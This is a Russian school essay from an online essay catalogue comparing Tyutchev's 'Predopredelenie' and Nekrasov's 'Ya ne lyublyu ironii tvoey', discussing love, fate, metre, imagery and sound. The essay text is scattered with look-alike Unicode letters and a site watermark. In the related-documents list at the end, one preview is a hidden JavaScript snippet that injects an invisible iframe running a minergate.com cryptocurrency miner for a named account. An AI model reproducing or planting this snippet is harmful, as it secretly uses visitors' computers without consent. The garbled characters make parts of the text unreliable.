-



   Проанализировать и сопоставить стихотворения Ф.И. Тютчева «Предопределение» и Н.А.Некрасова «Я не люблю иронии твоей...»




doc.png  Тип документа: Сочинения


type.png  Предмет: Тютчев и Фет


type.png  ВУЗ: Не привязан


size.png  Размер: 0 b

    Тема любви – одна из самых традиционных в мировой и русской поэзии. Художники слова в разные эпохи «рассматривали» это чувство со всех сторон, анализировали все его оттенки, нюансы – и создали своеобразную мировую «энциклопедию любви».
    Значительный вклад в её создание внесли такие русские поэты, как Ф.И. Тютчев и Н.А. Некрасов. Им обоим принадлежат циклы стихотворений, посвященные любимой женщине. У Тютчева это «деʜᴎϲьевский цикл», посвященный Е.А. Деʜᴎϲьевой, у Некрасова – «панаевский цикл», посвященный А.Я. Панаевой.
    Мы знаем, что любовь обоих поэᴛᴏʙ не была полностью счастливой – она сопровождалась различными внешними трудностями, внутренними противоречиями и имела печальный финал. Но при этом каждый из поэᴛᴏʙ по-своему осмыслял собственную историю любви, делал свои, сугубо индивидуальные выводы.
    Так, в стихотворении Тютчева «Предопределение» (1851) поэт рассуждает о сущности любви

. В ᴇᴦᴏ понимании, это не только огромная радость и счастье, как обычно принято считать:
    Любовь, любовь - гласит преданье -
    Союз души с душой родной -
    Их съединенье, сочетанье…
    По мнению Тютчева, в любовном чувстве, помимо слияния, всегда присутствует противоборство двух любящих сердец – «поединок роковой». Важно, что в первой строфе, которая является своеобразной водной частью в стихотворении, поэт несколько раз повторяет эпитет «роковой». Важно понимать - для него любовь двух людей предопределяется свыше, судьбой или Богом, и поэтому все, что происходит между двумя любящими, – тоже предопределено. Это значит, что человеку нужно смириться с этим, как бы больно это порой ни было.
    Вторая часть стихотворения развивает ϶ᴛόᴛтезис Тютчева:
    И чем одно из них нежнее
    В борьбе неравной двух сердец,
    Тем неизбежней и вернее,
    Любя, страдая, грустно млея,
    Оно изноет наконец...
    В этой любовной борьбе есть, как это ни печально, проигравший. Им становится тот, кто больше любит, кто полностью отдает себя другому человеку. Участь такого «нежного сердца» - «изныть», то есть измучиться, страдать, печалиться, но не иметь возможности что-либо изменить, ᴨᴏᴛому что все предопределено роком.
    На основании выше сказанного приходим к выводу, что любовь у Тютчева приобретает космическое значение – любовь у него является поединком между человеком и высшими силами. Результат этого поединка заᴘẚʜᴇе известен, поэтому он носит трагический оттенок. Но при этом человеческая природа такова, что человек не может не вступать в эту борьбу.
    Стихотворение состоит их 2-ух пятистрочных строф и написано четырехстопным ямбом с пиррихиями и видоизмененными клаузулами. Это предоставляет возможность поэту снизить «жизнерадостность» и «бодрость» произведения, но создать ощущение поединка, борьбы человека и рока.
    «Жесткое» сочетание шипящих, звонких согласных и звука «р» в стихотворении также способствуют созданию этого эффекта – грозной, очень серьезной борьбы:
    И чем одно из них нежнее
    В борьбе неравной двух сердец,
    Тем неизбежней и вернее,
    Любя, страдая, грустно млея…
    В синтаксическом плане стихотворение отличает большое количество многоточий (недоговоренность). Поэт создает ощущение высокого эмоционального накала, большой взволнованности своего лирического героя, который является участником этого «рокового поединка». Он понимает всю его трагичность и страдает от этого – видимо, он причиняет боль своей возлюбленной, но изменить ситуацию не может.
    Ведущим эпитетом в стихотворении является эпитет «роковой» - он передает основную мысль произведения. Кроме того, здесь есть метафоры («союз души с душой»; «Их съединенье, сочетанье, И роковое их слиянье»; «В борьбе двух сердец»; «оно изноет»), другие эпитеты («с душой родной», «грустно млея»).
    В центре стихотворения Некрасова «Я не люблю иронии твоей» (1850) также драматическая, печальная ситуация – угасание любви. Стихотворение сюжетно – оно о свидании двух любящих друг друга людей, предчувствующих скорый разрыв. Именно от этого, неясного пока, охлаждения и ирония лирической героини, которая упоминается уже в начале произведения.
    Однако чувства еще живы – это понимает и лирический герой, который ведет мысленный диалог со своей возлюбленной. Он видит: «Пока еще застенчиво и нежно Свидание продлить желаешь ты…»; чувствует, что «Пока еще кипят во мне мятежно Ревнивые тревоги и мечты…» Однако – развязка неизбежна. Ее объяснению, описанию посвящена последняя строфа стихотворения:
    И без того она не далека:
    Кипим сильней, последней жаждой полны,
    Но в сердце тайный холод и тоска...
    Так осенью бурливее река,
    Но холодней бушующие волны...
    Здесь чувства людей сравниваются с природным явлением – бурной рекой осенью. Тем самым Некрасов утверждает единство человека и природы, подчинение человека законам Вселенной. Он уверен, что перед концом чувства «кипят сильнее», однако это своеобразная агония перед смертью, ведь «в сердце тайный холод и тоска».
    Понимая неизбежный конец, герой испытывает тоску и печаль. Ведь он помнит, как горячо было чувство, как много он пережил вместе со своей любимой женщиной. И от этого – ему невыносимо слышать иронию в её голосе, которая указывает на остывающее чувство:
    Я не люблю иронии твоей.
    Оставь её отжившим и не жившим,
    А нам с тобой, так горячо любившим,
    Еще остаток чувства сохранившим,-
    Нам рано предаваться ей!
    Композиционно стихотворение делится на три части (по количеству 5-ти строчных строф). Каждая из них – описание разных этапов чувств героев: первая строфа - нежная любовь, окрашенная горьким предчувствием разлуки, вторая строфа – описание «прошлой» любви, третья – чувства героев, ведущие к разрыву.
    По форме стихотворение представляет собой «внутренний диалог» лирического героя. Вообще, стихотворение очень «личностное» - здесь проявляется характер не только героя, но и лирической героини, вычленяются детали их внутреннего облика. Так, героиня резка и иронична, но, в то же время, нежна и застенчива. Герой более рассудителен и спокоен, чем его любимая, вероятно, более меланхоличен и созерцателен.
    В произведении присутствует большое количество эпитеᴛᴏʙ: «застенчиво и нежно продлить», «горячо любившим», «ревнивые тревоги и мечты», «кипят мятежно», «тайный холод и тоска». Присутствуют здесь и метафоры: «отжившим и не жившим», «остаток чувства», «кипят тревоги и мечты», «не торопи развязки», «кипим сильней». Кроме того, стихотворение завершает сравнение, в котором содержится суть всего произведения – сравнение остывающей любви с бурной осенней рекой: «Так осенью бурливее река, Но холодней бушующие волны...»
    В синтаксическом плане стихотворение отличает наличие восклицательных предложений и многоточия в финале. Все эти знаки передают взволнованное состояние лирического героя, испытывающего боль от осознания приближающегося конца.
    Сочетание шипящих и свистящих согласных с сонорным «р» в последней части создает ощущение «бурления», но, в то же время, ощущение остывания, леденящего холода:
    Кипим сильней, последней жаждой полны,
    Но в сердце тайный холод и тоска...
    Так осенью бурливее река,
    Но холодней бушующие волны...
    Стихотворение написано пятистопным ямбом с пиррихиями и дополнительными ударными слогами, что предоставляет возможность создать ощущение бурного движения реки – последнего кипения чувство героев.
    На основании выше сказанного приходим к выводу, что любовь в понимании Тютчева и Некрасова - это неизбежное сочетание радости и страдания, душевной боли

. В сознании Тютчева такая природа любви ʜᴎϲпослана человеку свыше – на земле человек вынужден страдать, такова его доля.
    Некрасов считает любовь, как и все другие стороны человеческой жизни, частью жизни природы. Именно поэтому чувства подчиняются законам природы, имеют свое начало и конец, как и все в мире. Текст с сайта Биг Реферат РУ
    В стихотворении Некрасова образ лирической героини выведен более ясно , чем у Тютчева. Важно понимать - для героя Некрасова идеалом является нежность и скромность его возлюбленной. Важно понимать - для героя Тютчева – полная отдача себя, трагическая покорность судьбе, жертвенность.
    Оба виртуозные мастера слова, Тютчев и Некрасов используют большое количество художественных средств в стихотворениях. Так, главным лексическим средством у Тютчева является метафора, Некрасов же обогащает свое стихотворение большим количеством эпитеᴛᴏʙ, использует он так же метафоры и сравнение.
    В синтаксическом плане Тютчев, как более «философский» художник, использует многоточие. Так он передает горестные, но несколько созерцательные размышления своего героя. Герой Некрасова более эмоционален – на это в стихотворении указывают восклицательные знаки.
    Кроме того, оба художника используют звуковые средства (аллитерацию) для более полного и «зримого» впечатления, передачи настроения героев

. В тех же целях и Тютчев, и Некрасов мастерски применяют ямб, сочетая его с пиррихиями и дополнительными ударениями



Похожие документы


Анализ стихотворения Бунина «Одиночество» (сборник стихов «Листопад»)
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Поэтические образы в стихотворениях Малышко
Историзм оказался в поэзии 30-х годов не только в обращении к еще таким живым в памяти событий революции, гражданской войны, коллективизации, которые стали определяющими периодами в истории нашего народа, но и в самом подходе к изображению действительности. Герой в них был соотнесенный с историческими приметами того времени. Со всей полнотой отмечены тенденции оказались в раннем творчестве А.Малышко. В сборнике «Лирика», в стихотворениях о героях гражданской войны, как и труженики - своих современников, Малышко выступает как поэт-реалист, мастер точной портретной и психологической характеристики....

Анализ стихотворения «На железной дороге»
В примечаниях к этому стихотворению, включенному в цикл «Родина» (1910), Блок характеризует его как «бессознательное подражание эпизоду из «Воскресения» Толстого: Катюша Маслова на маленькой станции видит в окне Нехлюдова в бархатном кресле ярко освещенного купе первого класса». Но думается, более существенна здесь связь с «Железной дорогой» Некрасова. Кроме того, судьба героини Блока схожа с такой же безрадостной судьбой девушки в некрасовской «Тройке». О том же говорят и текстовые параллели некрасовских и блоковских строк: «Что ты жадно глядишь на дорогу?.. » и «Так много жадных взоров кинуто / В пустынные глаза вагонов»....

Сочинение анализ стихотворения Т. Шевченко «Мысль»
Когда я читал стих «Мысль» Тараса Шевченко, я заметил, что он очень похож на народную песню. Мне это чрезвычайно по душа такие произведения, так как они такие же эмоциональные, задумчивые и волнительные, как и народные песни. Стих «Мысль» имеет глубокое содержание. Он повествует казаком, который старался найти свою судьбу в большом и жестоком мира. Казацкое сердце сравнивается с синим морем, которое «играет». Сердце зовет казака на поиски судьбы в чужие края, Он уверен, что найдет ее там. Но что-то подсказывает ему другое:...

Сочинение анализ стихотворения Т. Шевченко «Завещание»
Толчком к написанию поэзии «Завещание» постоянная тяжелая болезнь Т. Шевченко. Стих начинается обращением поэта к народа, в котором высказывается пылкая любовь к трудящимся, к родной земле, вера в то, что угнетенные восстанут, порвут кандалы и построят новое, справедливое общество. Тарас Шевченко высказывает свое желание быть похороненным в могиле, среди широкой степи родной Украины:...

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям